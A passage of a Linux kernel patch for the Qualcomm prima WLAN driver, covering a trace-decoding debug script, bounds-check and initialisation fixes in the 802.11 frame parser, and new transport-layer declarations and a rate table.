\limtimertype[27]="eLIM_PERIODIC_JOIN_PROBE_REQ_TIMER" +Var.SET \limtimertype[28]="eLIM_INSERT_SINGLESHOT_NOA_TIMER" +Var.SET \limtimertype[29]="eLIM_CONVERT_ACTIVE_CHANNEL_TO_PASSIVE" + + + +Var.NEW char [256][100] \hddcodetype + +Var.SET \hddcodetype[0x00]="TRACE_CODE_HDD_OPEN_REQUEST" +Var.SET \hddcodetype[0x01]="TRACE_CODE_HDD_STOP_REQUEST" +Var.SET \hddcodetype[0x02]="TRACE_CODE_HDD_TX_TIMEOUT" +Var.SET \hddcodetype[0x03]="TRACE_CODE_HDD_P2P_DEV_ADDR_IOCTL" +Var.SET \hddcodetype[0x04]="TRACE_CODE_HDD_SETSUSPENDMODE_IOCTL" +Var.SET \hddcodetype[0x05]="TRACE_CODE_HDD_SETROAMTRIGGER_IOCTL" +Var.SET \hddcodetype[0x06]="TRACE_CODE_HDD_GETROAMTRIGGER_IOCTL" +Var.SET \hddcodetype[0x07]="TRACE_CODE_HDD_SETROAMSCANPERIOD_IOCTL" +Var.SET \hddcodetype[0x08]="TRACE_CODE_HDD_GETROAMSCANPERIOD_IOCTL" +Var.SET \hddcodetype[0x09]="TRACE_CODE_HDD_SETROAMDELTA_IOCTL" +Var.SET \hddcodetype[0x0A]="TRACE_CODE_HDD_GETROAMDELTA_IOCTL" +Var.SET \hddcodetype[0x0B]="TRACE_CODE_HDD_GETBAND_IOCTL" +Var.SET \hddcodetype[0x0C]="TRACE_CODE_HDD_GETCOUNTRYREV_IOCTL" +Var.SET \hddcodetype[0x0D]="TRACE_CODE_HDD_SETROAMSCANCHANNELS_IOCTL" +Var.SET \hddcodetype[0x0E]="TRACE_CODE_HDD_GETROAMSCANCHANNELS_IOCTL" +Var.SET \hddcodetype[0x0F]="TRACE_CODE_HDD_HOSTAPD_OPEN_REQUEST" +Var.SET \hddcodetype[0x10]="TRACE_CODE_HDD_HOSTAPD_STOP_REQUEST" +Var.SET \hddcodetype[0x11]="TRACE_CODE_HDD_HOSTAPD_UNINIT_REQUEST" +Var.SET \hddcodetype[0x12]="TRACE_CODE_HDD_SOFTAP_TX_TIMEOUT" +Var.SET \hddcodetype[0x13]="TRACE_CODE_HDD_HOSTAPD_SET_MAC_ADDR" +Var.SET \hddcodetype[0x14]="TRACE_CODE_HDD_HOSTAPD_P2P_SET_NOA_IOCTL" +Var.SET \hddcodetype[0x15]="TRACE_CODE_HDD_HOSTAPD_P2P_SET_PS_IOCTL" +Var.SET \hddcodetype[0x16]="TRACE_CODE_HDD_HOSTAPD_SET_SAP_CHANNEL_LIST_IOCTL" +Var.SET \hddcodetype[0x17]="TRACE_CODE_HDD_ADD_VIRTUAL_INTF" +Var.SET \hddcodetype[0x18]="TRACE_CODE_HDD_DEL_VIRTUAL_INTF" +Var.SET \hddcodetype[0x19]="TRACE_CODE_HDD_CHANGE_VIRTUAL_INTF" +Var.SET \hddcodetype[0x1A]="TRACE_CODE_HDD_CFG80211_START_AP" +Var.SET \hddcodetype[0x1B]="TRACE_CODE_HDD_CFG80211_CHANGE_BEACON" +Var.SET \hddcodetype[0x1C]="TRACE_CODE_HDD_CFG80211_STOP_AP" +Var.SET \hddcodetype[0x1D]="TRACE_CODE_HDD_CFG80211_CHANGE_BSS" +Var.SET \hddcodetype[0x1E]="TRACE_CODE_HDD_CFG80211_ADD_KEY" +Var.SET \hddcodetype[0x1F]="TRACE_CODE_HDD_CFG80211_GET_KEY" +Var.SET \hddcodetype[0x20]="TRACE_CODE_HDD_CFG80211_SET_DEFAULT_KEY" +Var.SET \hddcodetype[0x21]="TRACE_CODE_HDD_CFG80211_CONNECT" +Var.SET \hddcodetype[0x22]="TRACE_CODE_HDD_CFG80211_DISCONNECT" +Var.SET \hddcodetype[0x23]="TRACE_CODE_HDD_CFG80211_JOIN_IBSS" +Var.SET \hddcodetype[0x24]="TRACE_CODE_HDD_CFG80211_LEAVE_IBSS" +Var.SET \hddcodetype[0x25]="TRACE_CODE_HDD_CFG80211_SET_WIPHY_PARAMS" +Var.SET \hddcodetype[0x26]="TRACE_CODE_HDD_CFG80211_SET_TXPOWER" +Var.SET \hddcodetype[0x27]="TRACE_CODE_HDD_CFG80211_GET_TXPOWER" +Var.SET \hddcodetype[0x28]="TRACE_CODE_HDD_CFG80211_SET_CHANNEL" +Var.SET \hddcodetype[0x29]="TRACE_CODE_HDD_CFG80211_ADD_BEACON" +Var.SET \hddcodetype[0x2A]="TRACE_CODE_HDD_CFG80211_SET_BEACON" +Var.SET \hddcodetype[0x2B]="TRACE_CODE_HDD_CFG80211_CHANGE_IFACE" +Var.SET \hddcodetype[0x2C]="TRACE_CODE_HDD_CHANGE_STATION" +Var.SET \hddcodetype[0x2D]="TRACE_CODE_HDD_CFG80211_UPDATE_BSS" +Var.SET \hddcodetype[0x2E]="TRACE_CODE_HDD_CFG80211_SCAN" +Var.SET \hddcodetype[0x2F]="TRACE_CODE_HDD_REMAIN_ON_CHANNEL" +Var.SET \hddcodetype[0x30]="TRACE_CODE_HDD_REMAINCHANREADYHANDLER" +Var.SET \hddcodetype[0x31]="TRACE_CODE_HDD_CFG80211_CANCEL_REMAIN_ON_CHANNEL" +Var.SET \hddcodetype[0x32]="TRACE_CODE_HDD_ACTION" +Var.SET \hddcodetype[0x33]="TRACE_CODE_HDD_MGMT_TX_CANCEL_WAIT" +Var.SET \hddcodetype[0x34]="TRACE_CODE_HDD_CFG80211_GET_STA" +Var.SET \hddcodetype[0x35]="TRACE_CODE_HDD_CFG80211_SET_POWER_MGMT" +Var.SET \hddcodetype[0x36]="TRACE_CODE_HDD_CFG80211_DEL_STA" +Var.SET \hddcodetype[0x37]="TRACE_CODE_HDD_CFG80211_ADD_STA" +Var.SET \hddcodetype[0x38]="TRACE_CODE_HDD_CFG80211_SET_PMKSA" +Var.SET \hddcodetype[0x39]="TRACE_CODE_HDD_CFG80211_UPDATE_FT_IES" +Var.SET \hddcodetype[0x3A]="TRACE_CODE_HDD_CFG80211_TDLS_MGMT" +Var.SET \hddcodetype[0x3B]="TRACE_CODE_HDD_CFG80211_TDLS_OPER" +Var.SET \hddcodetype[0x3C]="TRACE_CODE_HDD_CFG80211_SET_REKEY_DATA" +Var.SET \hddcodetype[0x3D]="TRACE_CODE_HDD_UNSUPPORTED_IOCTL" +Var.SET \hddcodetype[0x3E]="TRACE_CODE_HDD_SETROAMSCANCHANNELMINTIME_IOCTL" +Var.SET \hddcodetype[0x3F]="TRACE_CODE_HDD_GETROAMSCANCHANNELMINTIME_IOCTL" +Var.SET \hddcodetype[0x40]="TRACE_CODE_HDD_STOP_NETDEV" +Var.SET \hddcodetype[0x41]="TRACE_CODE_HDD_WAKE_NETDEV" +Var.SET \hddcodetype[0x42]="TRACE_CODE_HDD_FLUSH_TX_QUEUES" +Var.SET \hddcodetype[0x43]="TRACE_CODE_HDD_CFG80211_RESUME_WLAN" +Var.SET \hddcodetype[0x44]="TRACE_CODE_HDD_CFG80211_SUSPEND_WLAN" +Var.SET \hddcodetype[0x45]="TRACE_CODE_HDD_CFG80211_SET_MAC_ACL" +Var.SET \hddcodetype[0x46]="TRACE_CODE_HDD_CFG80211_TESTMODE" +Var.SET \hddcodetype[0x47]="TRACE_CODE_HDD_CFG80211_DUMP_SURVEY" +Var.SET \hddcodetype[0x48]="TRACE_CODE_HDD_CFG80211_SCHED_SCAN_START" +Var.SET \hddcodetype[0x49]="TRACE_CODE_HDD_CFG80211_SCHED_SCAN_STOP" +Var.SET \hddcodetype[0x4A]="TRACE_CODE_HDD_CFG80211_DEL_PMKSA" + +&TRACETYPESIZE=v.value(sizeof(tvosTraceRecord)) +&TRACESIZE=v.value(sizeof(gvosTraceTbl)) +&TRACEMAXINDEX=v.value(&TRACESIZE/&TRACETYPESIZE) + +&HEAD=v.value(gvosTraceData.head) +&TAIL=v.value(gvosTraceData.tail) + +IF ((&HEAD>&TRACEMAXINDEX)||(&TAIL>&TRACEMAXINDEX)||(&TAIL==&HEAD)) +( + GOTO ENDSCRIPT +) + +&INDEX=&HEAD + +TRACESTART: + +&TIME=v.value(gvosTraceTbl[&INDEX].time) +&MODULE=v.value(gvosTraceTbl[&INDEX].module) +&CODE=v.value(gvosTraceTbl[&INDEX].code) +&SESSION=v.value(gvosTraceTbl[&INDEX].session) +&DATA=v.value(gvosTraceTbl[&INDEX].data) + + + WRITE #1 "TIME: " &TIME + Var.Write #1 %STRING \module[&MODULE] + +IF (&MODULE==0x7) +( +if (&CODE>=0)&&(&CODE<=0x12) +( + Var.Write #1 %STRING \code[&CODE] " [" %Hex &CODE "]" +) + + IF (&SESSION==0xFF) + ( + WRITE #1 "NO SESSION" + ) + ELSE + ( + WRITE #1 "SESSION: " &SESSION + ) + + +;0 TRACE_CODE_MLM_STATE +IF (&CODE==0x0) +( + Var.NEW tLimMlmStates \mlmstate + Var.Set \mlmstate=&DATA + ;Var.Write #1 \mlmstate %Hex &DATA +) + +;1 TRACE_CODE_SME_STATE +IF (&CODE==0x1) +( + Var.NEW tLimSmeStates \smestate + Var.Set \smestate=&DATA + Var.Write #1 \smestate %Hex &DATA +) + +;2 TRACE_CODE_TX_MGMT +IF (&CODE==0x2) +( + WRITE #1 "DATA: " &DATA +) + +;3 TRACE_CODE_RX_MGMT +IF (&CODE==0x3) +( + &SERIAL=v.value(&DATA>>16) + &SUBTYPE=v.value(&DATA&0xFF) + if (&SUBTYPE<=0xF) + ( + Var.Write #1 %STRING \mgmttype[&SUBTYPE] + WRITE #1 "SEQ NUM: " &SERIAL + ) + else + ( + WRITE #1 "INCORRECT DATA" + ) +) + +;4 TRACE_CODE_RX_MGMT_TSF +IF (&CODE==0x4) +( + WRITE #1 "BEACON TS: " &DATA +) + +;5 TRACE_CODE_TX_COMPLETE +IF (&CODE==0x5) +( + Var.Write #1 %STRING \mgmttype[&DATA] %Hex &DATA +) + +;14 TRACE_CODE_RX_MGMT_DROP +IF (&CODE==0xE) +( + Var.NEW tMgmtFrmDropReason \dropreason + Var.Set \dropreason=&DATA + Var.Write #1 \dropreason %Hex &DATA +) + + +;15 TRACE_CODE_TIMER_ACTIVATE/DEACTIVATE +IF (&CODE==0xF)||(&CODE==0x10) +( + Var.Write #1 %STRING \limtimertype[&DATA] %Hex &DATA +) + +;6 TRACE_CODE_TX_SME_MSG +IF (&CODE==0x6) +( +&MOD=v.value(&DATA>>8) +&MSG=v.value(&DATA&0xFF) +IF (&MOD==0x12)&&(&DATA>=0x12B0) +( +Var.Write #1 %STRING \limmsgtype[&MSG] %Hex &MSG +) +IF (&DATA>=0x1500) +( + Var.NEW enum eWniMsgTypes \smemsg + Var.Set \smemsg=&DATA + Var.Write #1 \smemsg %Hex &DATA + ) +) + +;7 TRACE_CODE_RX_SME_MSG +IF (&CODE==0x7) +( +&MOD=v.value(&DATA>>8) +&MSG=v.value(&DATA&0xFF) +IF (&MOD==0x12)&&(&DATA>=0x12B0) +( +Var.Write #1 %STRING \limmsgtype[&MSG] %Hex &MSG +) +IF (&DATA>=0x1500) +( + Var.NEW enum eWniMsgTypes \smemsg + Var.Set \smemsg=&DATA + Var.Write #1 \smemsg %Hex &DATA +) +) + +;8 TRACE_CODE_TX_WDA_MSG +IF (&CODE==0x8) +( +&MOD=v.value(&DATA>>8) +&MSG=v.value(&DATA&0xFF) +IF (&MOD==0x10) +( +Var.Write #1 %STRING \halmsgtype[&MSG] %Hex &MSG +) +) + +;9 TRACE_CODE_RX_WDA_MSG +IF (&CODE==0x9) +( +&MOD=v.value(&DATA>>8) +&MSG=v.value(&DATA&0xFF) +IF (&MOD==0x10) +( +Var.Write #1 %STRING \halmsgtype[&MSG] %Hex &MSG +) +) + +;10 TRACE_CODE_TX_LIM_MSG +IF (&CODE==0xA) +( +&MOD=v.value(&DATA>>8) +&MSG=v.value(&DATA&0xFF) +IF (&MOD==0x12)&&(&DATA>=0x12B0) +( +Var.Write #1 %STRING \limmsgtype[&MSG] %Hex &MSG +) +IF (&DATA>=0x1500) +( + Var.NEW enum eWniMsgTypes \smemsg + Var.Set \smemsg=&DATA + Var.Write #1 \smemsg %Hex &DATA +) +) + +;11 TRACE_CODE_RX_LIM_MSG +IF (&CODE==0xB) +( +&MOD=v.value(&DATA>>8) +&MSG=v.value(&DATA&0xFF) +IF (&MOD==0x12)&&(&DATA>=0x12B0) +( +Var.Write #1 %STRING \limmsgtype[&MSG] %Hex &MSG +) +IF (&DATA>=0x1500) +( + Var.NEW enum eWniMsgTypes \smemsg + &DATA=v.value(&DATA&0xFFFF) + Var.Set \smemsg=&DATA + Var.Write #1 \smemsg %Hex &DATA +) +) + +;12 TRACE_CODE_TX_CFG_MSG +IF (&CODE==0xC) +( +&MOD=v.value(&DATA>>8) +&MSG=v.value(&DATA&0xFF) +IF (&MOD==0x11)&&(&DATA>=0x11B0) +( +Var.Write #1 %STRING \cfgmsgtype[&MSG] %Hex &MSG +) +) + +;13 TRACE_CODE_RX_CFG_MSG +IF (&CODE==0xD) +( +&MOD=v.value(&DATA>>8) +&MSG=v.value(&DATA&0xFF) +IF (&MOD==0x11)&&(&DATA>=0x11B0) +( +Var.Write #1 %STRING \cfgmsgtype[&MSG] %Hex &MSG +) +) + +IF (&DATA>=0x1500) +( + Var.NEW enum eWniMsgTypes \smemsg + &DATA=v.value(&DATA&0xFFFF) + Var.Set \smemsg=&DATA + Var.Write #1 \smemsg %Hex &DATA +) + +) + +IF (&MODULE==0x1) +( + Var.Write #1 %STRING \tlcodetype[&CODE] %Hex &CODE + WRITE #1 "DATA: " &DATA + + IF (&SESSION==0xFF) + ( + WRITE #1 "NO SESSION" + ) + ELSE + ( + WRITE #1 "SESSION: " &SESSION + ) +) + + +IF (&MODULE==0x6) +( + + IF ((&CODE>=0x0)&&(&CODE<=0x62)) + ( + Var.Write #1 %STRING \smecodetype[&CODE] %Hex &CODE + ) + ELSE + ( + IF ((&CODE>=0xFA)&&(&CODE<=0xFC)) + ( + Var.Write #1 %STRING \smecodetype[&CODE] %Hex &CODE + ) + ELSE + ( + WRITE #1 "CODE: " &CODE + ) + ) + WRITE #1 "DATA: " &DATA + + IF (&SESSION==0xFF) + ( + WRITE #1 "NO SESSION" + ) + ELSE + ( + WRITE #1 "SESSION: " &SESSION + ) +) + +IF (&MODULE==0x5) +( + + IF ((&CODE>=0x0)&&(&CODE<=0x4A)) + ( + Var.Write #1 %STRING \hddcodetype[&CODE] %Hex &CODE + ) + ELSE + ( + WRITE #1 "CODE: " &CODE + ) + WRITE #1 "DATA: " &DATA + + IF (&SESSION==0xFF) + ( + WRITE #1 "NO SESSION" + ) + ELSE + ( + WRITE #1 "SESSION: " &SESSION + ) +) + +WRITE #1 " " + +&INDEX=v.value((&INDEX+1)%(&TRACEMAXINDEX)) + + IF (&INDEX!=&HEAD) + ( + GOTO TRACESTART + ) + + + +ENDSCRIPT: +CLOSE #1 +ENDDO diff --git a/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/parserApi.c b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/parserApi.c index e597ddbb361b8..d408f16c84a8f 100644 --- a/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/parserApi.c +++ b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/parserApi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -441,7 +441,7 @@ PopulateDot11fERPInfo(tpAniSirGlobal pMac, val = psessionEntry->cfgProtection.fromllb; if(!val ){ - dot11fLog( pMac, LOGE, FL("11B protection not enabled. Not populating ERP IE %d" ),val ); + dot11fLog( pMac, LOG1, FL("11B protection not enabled. Not populating ERP IE %d" ),val ); return eSIR_SUCCESS; } @@ -740,6 +740,8 @@ void limLogOperatingMode( tpAniSirGlobal pMac, void limLogQosMapSet(tpAniSirGlobal pMac, tSirQosMapSet *pQosMapSet) { tANI_U8 i; + if (pQosMapSet->num_dscp_exceptions > 21) + pQosMapSet->num_dscp_exceptions = 21; limLog(pMac, LOG1, FL("num of dscp exceptions : %d"), pQosMapSet->num_dscp_exceptions); for (i=0; i < pQosMapSet->num_dscp_exceptions; i++) @@ -1027,12 +1029,13 @@ PopulateDot11fExtCap(tpAniSirGlobal pMac, tDot11fIEExtCap *pDot11f, tpPESession psessionEntry) { + struct s_ext_cap *p_ext_cap = (struct s_ext_cap *)pDot11f->bytes; #ifdef WLAN_FEATURE_11AC if (psessionEntry->vhtCapability && psessionEntry->limSystemRole != eLIM_STA_IN_IBSS_ROLE ) { - pDot11f->operModeNotification = 1; + p_ext_cap->operModeNotification = 1; pDot11f->present = 1; } #endif @@ -1049,10 +1052,16 @@ PopulateDot11fExtCap(tpAniSirGlobal pMac, && pMac->roam.configParam.channelBondingMode24GHz) #endif { - pDot11f->bssCoexistMgmtSupport = 1; + p_ext_cap->bssCoexistMgmtSupport = 1; pDot11f->present = 1; } } + + if (pDot11f->present) + { + /* Need to compute the num_bytes based on bits set */ + pDot11f->num_bytes = lim_compute_ext_cap_ie_length(pDot11f); + } return eSIR_SUCCESS; } @@ -2106,7 +2115,27 @@ tSirRetStatus ValidateAndRectifyIEs(tpAniSirGlobal pMac, FL("Added RSN Capability to the RSNIE as 0x00 0x00")); return eHAL_STATUS_SUCCESS; + } else { + /* Workaround: Some APs may add extra 0x00 padding after IEs. + * Return true to allow these probe response frames proceed. + */ + if (nFrameBytes - length > 0) { + tANI_U32 i; + tANI_BOOLEAN zero_padding = VOS_TRUE; + + for (i = length; i < nFrameBytes; i ++) { + if (pMgmtFrame[i-1] != 0x0) { + zero_padding = VOS_FALSE; + break; + } + } + + if (zero_padding) { + return eHAL_STATUS_SUCCESS; + } + } } + return eSIR_FAILURE; } } @@ -2332,7 +2361,7 @@ tSirRetStatus sirConvertProbeFrame2Struct(tpAniSirGlobal pMac, } #endif -#if defined FEATURE_WLAN_ESE +#if defined(FEATURE_WLAN_ESE) || defined(WLAN_FEATURE_ROAM_SCAN_OFFLOAD) if (pr->QBSSLoad.present) { vos_mem_copy(&pProbeResp->QBSSLoad, &pr->QBSSLoad, sizeof(tDot11fIEQBSSLoad)); @@ -2631,10 +2660,13 @@ sirConvertAssocRespFrame2Struct(tpAniSirGlobal pMac, } if (ar.ExtCap.present) { + struct s_ext_cap *p_ext_cap; vos_mem_copy(&pAssocRsp->ExtCap, &ar.ExtCap, sizeof(tDot11fIEExtCap)); + + p_ext_cap = (struct s_ext_cap *)&pAssocRsp->ExtCap.bytes; limLog(pMac, LOG1, FL("ExtCap is present, TDLSChanSwitProhibited: %d"), - ar.ExtCap.TDLSChanSwitProhibited); + p_ext_cap->TDLSChanSwitProhibited); } if ( ar.WMMParams.present ) { @@ -2951,6 +2983,8 @@ sirFillBeaconMandatoryIEforEseBcnReport(tpAniSirGlobal pMac, limLog(pMac, LOGE, FL("Failed to allocate memory") ); return eSIR_FAILURE; } + vos_mem_zero(pBies, sizeof(tDot11fBeaconIEs)); + // delegate to the framesc-generated code, status = dot11fUnpackBeaconIEs( pMac, pPayload, nPayload, pBies ); @@ -3077,14 +3111,19 @@ sirFillBeaconMandatoryIEforEseBcnReport(tpAniSirGlobal pMac, retStatus = eSIR_FAILURE; goto err_bcnrep; } - *pos = SIR_MAC_RATESET_EID; - pos++; - *pos = eseBcnReportMandatoryIe.supportedRates.numRates; - pos++; - vos_mem_copy(pos, (tANI_U8*)eseBcnReportMandatoryIe.supportedRates.rate, - eseBcnReportMandatoryIe.supportedRates.numRates); - pos += eseBcnReportMandatoryIe.supportedRates.numRates; - freeBytes -= (1 + 1 + eseBcnReportMandatoryIe.supportedRates.numRates); + if (eseBcnReportMandatoryIe.supportedRates.numRates <= + SIR_MAC_RATESET_EID_MAX) { + *pos = SIR_MAC_RATESET_EID; + pos++; + *pos = eseBcnReportMandatoryIe.supportedRates.numRates; + pos++; + vos_mem_copy(pos, + (tANI_U8*)eseBcnReportMandatoryIe.supportedRates.rate, + eseBcnReportMandatoryIe.supportedRates.numRates); + pos += eseBcnReportMandatoryIe.supportedRates.numRates; + freeBytes -= (1 + 1 + + eseBcnReportMandatoryIe.supportedRates.numRates); + } } /* Fill FH Parameter set IE */ @@ -3245,6 +3284,8 @@ sirParseBeaconIE(tpAniSirGlobal pMac, limLog(pMac, LOGE, FL("Failed to allocate memory") ); return eSIR_FAILURE; } + vos_mem_zero(pBies, sizeof(tDot11fBeaconIEs)); + // delegate to the framesc-generated code, status = dot11fUnpackBeaconIEs( pMac, pPayload, nPayload, pBies ); @@ -4258,9 +4299,9 @@ sirConvertQosMapConfigureFrame2Struct(tpAniSirGlobal pMac, tDot11fQosMapConfigure mapConfigure; tANI_U32 status; status = dot11fUnpackQosMapConfigure(pMac, pFrame, nFrame, &mapConfigure); - if ( DOT11F_FAILED( status ) ) + if ( DOT11F_FAILED( status ) || !mapConfigure.QosMapSet.present ) { - dot11fLog(pMac, LOGE, FL("Failed to parse Qos Map Configure frame (0x%08x, %d bytes):"), + dot11fLog(pMac, LOGE, FL("Failed to parse or QosMapSet not present(0x%08x, %d bytes):"), status, nFrame); PELOG2(sirDumpBuf(pMac, SIR_DBG_MODULE_ID, LOG2, pFrame, nFrame);) return eSIR_FAILURE; @@ -4337,7 +4378,7 @@ sirConvertMeasReqFrame2Struct(tpAniSirGlobal pMac, tANI_U32 status; // Zero-init our [out] parameter, - vos_mem_set( ( tANI_U8* )pMeasReqFrame, sizeof(tpSirMacMeasReqActionFrame), 0 ); + vos_mem_set( ( tANI_U8* )pMeasReqFrame, sizeof(*pMeasReqFrame), 0 ); // delegate to the framesc-generated code, status = dot11fUnpackMeasurementRequest( pMac, pFrame, nFrame, &mr ); diff --git a/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/utilsParser.c b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/utilsParser.c index 98b09b6db6c1c..3292b5c4f7248 100644 --- a/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/utilsParser.c +++ b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/utilsParser.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -689,6 +689,8 @@ void CreateScanCtsFrame(tpAniSirGlobal pMac, tSirMacMgmtHdr *macMgmtHdr, tSirMac void ConvertQosMapsetFrame(tpAniSirGlobal pMac, tSirQosMapSet* Qos, tDot11fIEQosMapSet* dot11fIE) { tANI_U8 i,j=0; + if (dot11fIE->num_dscp_exceptions > 58) + dot11fIE->num_dscp_exceptions = 58; Qos->num_dscp_exceptions = (dot11fIE->num_dscp_exceptions - 16)/2; for (i=0;inum_dscp_exceptions;i++) { diff --git a/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h b/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h index 80975c7bd4eee..b309a1b499d1d 100644 --- a/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h +++ b/drivers/staging/prima/CORE/TL/inc/wlan_qct_tl.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -3289,4 +3289,67 @@ WLANTL_FatalError v_VOID_t ); +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +void WLANTL_StartRxRateMonitor(v_PVOID_t pvosGCtx, wpt_uint8 staId, + wpt_uint16 minRate, + wpt_uint16 maxRate, wpt_uint8 minPercentage, + wpt_uint16 minPktRequired, void *hHal, + wpt_uint64 timeToWait, + void (*triggerRoamScanfn) (void *, wpt_uint8)); + +void WLANTL_StopRxRateMonitor(v_PVOID_t pvosGCtx); +#endif +#ifdef WLAN_FEATURE_RMC +VOS_STATUS +WLANTL_EnableRMC +( + v_PVOID_t pvosGCtx, + v_MACADDR_t *pMcastAddr +); + + +VOS_STATUS +WLANTL_DisableRMC +( + v_PVOID_t pvosGCtx, + v_MACADDR_t *pMcastAddr +); + +/*============================================================================= + FUNCTION WLANTL_SetMcastDuplicateDetection + + DESCRIPTION + This function sets multicate duplicate detection operation. + If enable is 1, the detection is enabled, else it is disabled. + + DEPENDENCIES + + PARAMETERS + + IN + + pvosGCtx : Pointer to VOS global context + enable : Boolean to enable or disable + + RETURN VALUE + The result code associated with performing the operation + + VOS_STATUS_E_FAULT: Sanity check on input failed + + VOS_STATUS_SUCCESS: Everything is good :) + + Other return values are possible coming from the called functions. + Please check API for additional info. + + SIDE EFFECTS + +==============================================================================*/ +VOS_STATUS +WLANTL_SetMcastDuplicateDetection +( + v_PVOID_t pvosGCtx, + v_U8_t enable +); +#endif /* WLAN_FEATURE_RMC */ + #endif /* #ifndef WLAN_QCT_WLANTL_H */ diff --git a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c index 3690d79fe9baf..7902ac7df4341 100644 --- a/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c +++ b/drivers/staging/prima/CORE/TL/src/wlan_qct_tl.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -61,6 +61,7 @@ when who what, where, why ---------- --- -------------------------------------------------------- +2013-08-19 rajekuma Added RMC support 2010-07-13 c_shinde Fixed an issue where WAPI rekeying was failing because WAI frame sent out during rekeying had the protected bit set to 1. @@ -334,6 +335,178 @@ typedef struct } \ } while (0); + +/* Following is the copy of g11bRateInfo to understand rate index at TL */ +#define WLANTL_MAX_RATE_NUM 137 +typedef struct +{ + uint32 phyRate; //unit in Mega bits per sec X 10 + uint32 tputRate; //unit in Mega bits per sec X 10 + uint32 tputBpms; //unit in Bytes per msec = (tputRateX1024x1024)/(8x10X1000) ~= (tputRate*13) + uint32 tputBpus; //unit in Bytes per usec: round off to integral value +}WLANTL_RateInfo; + +WLANTL_RateInfo gTLRateInfo[WLANTL_MAX_RATE_NUM] = { + //11b rates + { 10, 9, 117, 0}, //index 0 + { 20, 17, 221, 0}, //index 1 + { 55, 41, 533, 0}, //index 2 + { 110, 68, 884, 0}, //index 3 + + //11b short preamble + { 10, 10, 130, 0}, //index 4 + { 20, 18, 234, 0}, //index 5 + { 55, 44, 572, 0}, //index 6 + { 110, 77, 1001, 0}, //index 7 + + //11ag + { 60, 50, 650, 1}, //index 8 + { 90, 70, 910, 1}, //index 9 + { 120, 100, 1300, 1}, //index 10 + { 180, 150, 1950, 2}, //index 11 + { 240, 190, 2470, 2}, //index 12 + { 360, 280, 3640, 4}, //index 13 + { 480, 350, 4550, 5}, //index 14 + { 540, 380, 4940, 6}, //index 15 + + //11n SIMO + { 65, 54, 702, 1}, //index 16 + { 130, 108, 1404, 1}, //index 17 + { 195, 161, 2093, 2}, //index 18 + { 260, 217, 2821, 3}, //index 19 + { 390, 326, 4238, 4}, //index 20 + { 520, 435, 5655, 6}, //index 21 + { 585, 492, 6396, 6}, //index 22 + { 650, 548, 7124, 7}, //index 23 + + //11n SIMO SGI + { 72, 59, 767, 1}, //index 24 + { 144, 118, 1534, 2}, //index 25 + { 217, 180, 2340, 2}, //index 26 + { 289, 243, 3159, 3}, //index 27 + { 434, 363, 4719, 5}, //index 28 + { 578, 486, 6318, 6}, //index 29 + { 650, 548, 7124, 7}, //index 30 + { 722, 606, 7878, 8}, //index 31 + + //11n GF SIMO + { 65, 54, 702, 1}, //index 32 + { 130, 108, 1404, 1}, //index 33 + { 195, 161, 2093, 2}, //index 34 + { 260, 217, 2821, 3}, //index 35 + { 390, 326, 4238, 4}, //index 36 + { 520, 435, 5655, 6}, //index 37 + { 585, 492, 6396, 6}, //index 38 + { 650, 548, 7124, 7}, //index 39 + + //11n SIMO CB MCS 0 - 7 + { 135, 110, 1430, 1}, //index 40 + { 270, 223, 2899, 3}, //index 41 + { 405, 337, 4381, 4}, //index 42 + { 540, 454, 5902, 6}, //index 43 + { 810, 679, 8827, 9}, //index 44 + { 1080, 909, 11817, 12}, //index 45 + { 1215, 1022, 13286, 13}, //index 46 + { 1350, 1137, 14781, 15}, //index 47 + + //11n SIMO CB SGI MCS 0 - 7 + { 150, 121, 1573, 2}, //index 48 + { 300, 249, 3237, 3}, //index 49 + { 450, 378, 4914, 5}, //index 50 + { 600, 503, 6539, 7}, //index 51 + { 900, 758, 9854, 10}, //index 52 + { 1200, 1010, 13130, 13}, //index 53 + { 1350, 1137, 14781, 15}, //index 54 + { 1500, 1262, 16406, 16}, //index 55 + + //11n SIMO GF CB MCS 0 - 7 + { 135, 110, 1430, 1}, //index 56 + { 270, 223, 2899, 3}, //index 57 + { 405, 337, 4381, 4}, //index 58 + { 540, 454, 5902, 6}, //index 59 + { 810, 679, 8827, 9}, //index 60 + { 1080, 909, 11817, 12}, //index 61 + { 1215, 1022, 13286, 13}, //index 62 + { 1350, 1137, 14781, 15}, //index 63 + + //11AC + { 1350, 675, 8775, 9}, //reserved 64 + { 1350, 675, 8775, 9}, //reserved 65 + { 65, 45, 585, 1}, //index 66 + { 130, 91, 1183, 1}, //index 67 + { 195, 136, 1768, 2}, //index 68 + { 260, 182, 2366, 2}, //index 69 + { 390, 273, 3549, 4}, //index 70 + { 520, 364, 4732, 5}, //index 71 + { 585, 409, 5317, 5}, //index 72 + { 650, 455, 5915, 6}, //index 73 + { 780, 546, 7098, 7}, //index 74 + { 1350, 675, 8775, 